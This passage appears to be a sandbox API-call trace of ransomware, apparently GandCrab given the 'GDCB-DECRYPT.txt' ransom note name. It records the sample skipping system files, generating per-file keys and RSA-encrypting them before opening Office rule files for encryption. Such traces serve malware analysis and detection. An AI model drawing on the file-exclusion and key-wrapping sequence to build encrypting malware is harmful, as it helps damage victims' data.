1 [0171.724] lstrcmpiW (lpString1="officec2rclient.exe_Rules.xml", lpString2="iconcache.db") returned 1 [0171.724] lstrcmpiW (lpString1="officec2rclient.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.725] lstrcmpiW (lpString1="officec2rclient.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.725] lstrcmpiW (lpString1="officec2rclient.exe_Rules.xml", lpString2="ntuser.dat.log") returned 1 [0171.725] lstrcmpiW (lpString1="officec2rclient.exe_Rules.xml", lpString2="thumbs.db") returned -1 [0171.725] lstrcmpiW (lpString1="officec2rclient.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.725] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml")) returned 0xffffffff [0171.725] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.725] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.725] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.726] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.726] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.726] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.726] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.726] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.726] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.726] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.726] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.729] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617aa8) returned 1 [0171.729] CryptGetKeyParam (in: hKey=0x617aa8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.729] CryptEncrypt (in: hKey=0x617aa8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d30000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.729] GetLastError () returned 0x0 [0171.729] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.729] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.731] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6179e8) returned 1 [0171.731] CryptGetKeyParam (in: hKey=0x6179e8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.731] CryptEncrypt (in: hKey=0x6179e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2d40000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.731] GetLastError () returned 0x0 [0171.731] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.731] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officec2rclient.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officec2rclient.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.731] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml") returned 275 [0171.731] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml") returned 275 [0171.731] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml") returned 275 [0171.731] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml") returned 275 [0171.731] lstrcmpiW (lpString1="officeclicktorun.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.731] lstrcmpiW (lpString1="officeclicktorun.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.731] lstrcmpiW (lpString1="officeclicktorun.exe_Rules.xml", lpString2="ntuser.dat") returned 1 [0171.731] lstrcmpiW (lpString1="officeclicktorun.exe_Rules.xml", lpString2="iconcache.db") returned 1 [0171.731] lstrcmpiW (lpString1="officeclicktorun.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.731] lstrcmpiW (lpString1="officeclicktorun.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.731] lstrcmpiW (lpString1="officeclicktorun.exe_Rules.xml", lpString2="ntuser.dat.log") returned 1 [0171.731] lstrcmpiW (lpString1="officeclicktorun.exe_Rules.xml", lpString2="thumbs.db") returned -1 [0171.731] lstrcmpiW (lpString1="officeclicktorun.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.731] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml")) returned 0xffffffff [0171.731] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.731] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.732] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.732] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.732] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.732] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.732] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.733] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.733] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.733] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.733] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.733] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.735] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6177a8) returned 1 [0171.735] CryptGetKeyParam (in: hKey=0x6177a8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.735] CryptEncrypt (in: hKey=0x6177a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d50000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d50000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.735] GetLastError () returned 0x0 [0171.735] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.735] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.737] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6174a8) returned 1 [0171.737] CryptGetKeyParam (in: hKey=0x6174a8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.737] CryptEncrypt (in: hKey=0x6174a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d60000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2d60000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.737] GetLastError () returned 0x0 [0171.737] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.737] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\officeclicktorun.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\officeclicktorun.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.737] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\onenote.exe_Rules.xml") returned 266 [0171.737] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\onenote.exe_Rules.xml") returned 266 [0171.737] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\onenote.exe_Rules.xml") returned 266 [0171.737] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\onenote.exe_Rules.xml") returned 266 [0171.737] lstrcmpiW (lpString1="onenote.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.737] lstrcmpiW (lpString1="onenote.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.737] lstrcmpiW (lpString1="onenote.exe_Rules.xml", lpString2="ntuser.dat") returned 1 [0171.737] lstrcmpiW (lpString1="onenote.exe_Rules.xml", lpString2="iconcache.db") returned 1 [0171.737] lstrcmpiW (lpString1="onenote.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.737] lstrcmpiW (lpString1="onenote.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.737] lstrcmpiW (lpString1="onenote.exe_Rules.xml", lpString2="ntuser.dat.log") returned 1 [0171.737] lstrcmpiW (lpString1="onenote.exe_Rules.xml", lpString2="thumbs.db") returned -1 [0171.737] lstrcmpiW (lpString1="onenote.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.737] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\onenote.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\onenote.exe_rules.xml")) returned 0xffffffff [0171.737] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\onenote.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.737] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.738] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.738] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.738] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.738] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.738] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.739] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.739] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.739] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.739] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.739] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0171.741] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617468) returned 1 [0171.741] CryptGetKeyParam (in: hKey=0x617468, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.741] CryptEncrypt (in: hKey=0x617468, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d70000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d70000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.741] GetLastError () returned 0x0 [0171.741] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0171.741] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.743] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6179a8) returned 1 [0171.743] CryptGetKeyParam (in: hKey=0x6179a8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.743] CryptEncrypt (in: hKey=0x6179a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d80000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2d80000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.743] GetLastError () returned 0x0 [0171.743] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.743] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\onenote.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\onenote.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.743] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml") returned 266 [0171.743] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml") returned 266 [0171.743] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml") returned 266 [0171.743] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml") returned 266 [0171.743] lstrcmpiW (lpString1="outlook.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.743] lstrcmpiW (lpString1="outlook.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.743] lstrcmpiW (lpString1="outlook.exe_Rules.xml", lpString2="ntuser.dat") returned 1 [0171.743] lstrcmpiW (lpString1="outlook.exe_Rules.xml", lpString2="iconcache.db") returned 1 [0171.743] lstrcmpiW (lpString1="outlook.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.743] lstrcmpiW (lpString1="outlook.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.744] lstrcmpiW (lpString1="outlook.exe_Rules.xml", lpString2="ntuser.dat.log") returned 1 [0171.744] lstrcmpiW (lpString1="outlook.exe_Rules.xml", lpString2="thumbs.db") returned -1 [0171.744] lstrcmpiW (lpString1="outlook.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.744] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\outlook.exe_rules.xml")) returned 0xffffffff [0171.744] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml", dwFileAttributes=0xfffffffe) returned 0 [0171.744] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.744] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.744] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.744] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.744] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.744] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0171.745] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.745] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.745] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.745] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.747] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x617a28) returned 1 [0171.748] CryptGetKeyParam (in: hKey=0x617a28, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.748] CryptEncrypt (in: hKey=0x617a28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d90000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d90000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.748] GetLastError () returned 0x0 [0171.748] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.748] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0171.750] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6173a8) returned 1 [0171.750] CryptGetKeyParam (in: hKey=0x6173a8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.750] CryptEncrypt (in: hKey=0x6173a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2da0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x2da0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.750] GetLastError () returned 0x0 [0171.750] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.750] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\outlook.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\office\\16.0\\outlook.exe_rules.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.750] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml") returned 267 [0171.750] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml") returned 267 [0171.750] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml") returned 267 [0171.750] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml") returned 267 [0171.750] lstrcmpiW (lpString1="powerpnt.exe_Rules.xml", lpString2="desktop.ini") returned 1 [0171.750] lstrcmpiW (lpString1="powerpnt.exe_Rules.xml", lpString2="autorun.inf") returned 1 [0171.750] lstrcmpiW (lpString1="powerpnt.exe_Rules.xml", lpString2="ntuser.dat") returned 1 [0171.751] lstrcmpiW (lpString1="powerpnt.exe_Rules.xml", lpString2="iconcache.db") returned 1 [0171.751] lstrcmpiW (lpString1="powerpnt.exe_Rules.xml", lpString2="bootsect.bak") returned 1 [0171.751] lstrcmpiW (lpString1="powerpnt.exe_Rules.xml", lpString2="boot.ini") returned 1 [0171.751] lstrcmpiW (lpString1="powerpnt.exe_Rules.xml", lpString2="ntuser.dat.log") returned 1 [0171.751] lstrcmpiW (lpString1="powerpnt.exe_Rules.xml", lpString2="thumbs.db") returned -1 [0171.751] lstrcmpiW (lpString1="powerpnt.exe_Rules.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.751] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Office\\16.0\\powerpnt.exe_Rules.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application 